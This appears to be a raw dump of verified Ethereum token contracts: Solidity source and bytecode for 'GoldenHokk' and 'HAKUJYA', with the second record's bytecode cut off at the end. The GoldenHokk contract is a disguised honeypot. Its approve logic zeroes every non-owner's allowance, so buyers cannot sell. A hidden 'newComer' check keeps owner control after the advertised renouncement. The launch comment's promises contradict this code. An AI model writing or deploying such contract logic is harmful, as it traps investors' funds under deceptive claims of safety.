0x5a4f4a7d607ae2f49f93817fba984785cfc32af7
/** *Submitted for verification at Etherscan.io on 2021-11-23 */ /** Welcome everyone, GoldenHokk will be launching today! Right now the team are preparing various methods of marketing to make sure we have marketing for before & after launch! A Few Things You Should Know About Launch day & after: ⭐️ Stealth Launch ⭐️ Wide range of stickers and emojis for fun posts will be dropped soon ⭐️ Maximum Buy Limit 0.1 At beginning ⭐️ Liquidity Lock ⭐️ Renounce Ownership ⭐️ Various Prestigious Call Channels, starting now ⭐️ Coin Gecko & CoinMarketCap FASTTRACK ⭐️ Admins & Mods In The Chat 24/7 ⭐️ Mods in chat and on VC right from the off to help you guys out with any queries for max professionalism We will also be relying heavily on our dedicated community to help out with simple tasks on launch day. We need everyone to help out with shilling and spreading the word about $GOKK! Relax, while we will now get calls in. See you all later :) Website: https://goldenhokk.com/ Telegram: https://t.me/goldenhokk Twitter: https://twitter.com/goldenhokk?s=21 */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract GoldenHokketh is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**12* 10**18; string private _name = 'Golden Hokk '; string private _symbol = 'GOKK '; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212209eb2c8071309031a76096548829eaf770d87f72c67d3c71b1289576396c48f9c64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
2,534
0xb44530a99e5f9486c90ec52ad05d789ffeabc611
pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract HAKUJYA is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"HAKUJYA"; string private constant _symbol = "HAKUJYA"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 7; uint256 private _teamFee = 5; mapping(address => bool) private bots; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private liquidityAdded = false; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 7; _teamFee = 5; } function setFee(uint256 multiplier) private { _taxFee = _taxFee * multiplier; if (multiplier > 1) { _teamFee = 10; } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (30 seconds); _teamFee = 6; _taxFee = 2; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount); require(sellcooldown[from] < block.timestamp); if(firstsell[from] + (1 days) < block.timestamp){ sellnumber[from] = 0; } if (sellnumber[from] == 0) { sellnumber[from]++; firstsell[from] = block.timestamp; sellcooldown[from] = block.timestamp + (1 hours); } else if (sellnumber[from] == 1) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (2 hours); } else if (sellnumber[from] == 2) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (6 hours); } else if (sellnumber[from] == 3) { sellnumber[from]++; sellcooldown[from] = firstsell[from] + (1 days); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } setFee(sellnumber[from]); } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() public onlyOwner { require(liquidityAdded); tradingOpen = true; } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; liquidityAdded = true; _maxTxAmount = 3000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600781526020017f48414b554a594100000000000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f48414b554a594100000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a000000000000000000000000000000